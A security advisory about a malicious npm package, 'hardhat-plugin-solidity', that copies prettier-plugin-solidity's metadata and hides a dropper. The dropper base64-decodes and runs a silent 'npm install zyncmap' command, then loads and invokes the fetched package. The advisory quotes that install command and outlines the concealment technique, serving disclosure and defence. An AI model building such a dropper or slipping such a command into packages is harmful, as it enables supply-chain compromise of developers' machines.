MAL-2026-6706 Malicious code in hardhat-plugin-solidity (npm)

Package published as 'hardhat-plugin-solidity' impersonates prettier-plugin-solidity: package.json sets the unrelated 'hardhat-plugin-' name while reusing prettier-plugin-solidity's description, repository (github.com/prettier-solidity/prettier-plugin-solidity), homepage, author, and contributor metadata, and the source is a copy of that project with an added dropper. The package main (dist/index.js) contains two base64 string literals decoded at load time via Buffer.from(…, 'base64').toString('utf8'): the first decodes to the shell command 'npm install zyncmap –no-save –silent –no-audit –no-fund', which is spawned as a child process; the second decodes to the module name 'zyncmap', which is then require()'d and invoked (svgo.getPlugin()()) once the install completes. The result is that loading this package out-of-band installs and immediately executes arbitrary code from the separately-controlled 'zyncmap' package on the installer's machine. Base64 encoding of both the install command and the require target, combined with –silent/–no-save flags and the name/identity mismatch, indicates deliberate concealment of the dropper behavior.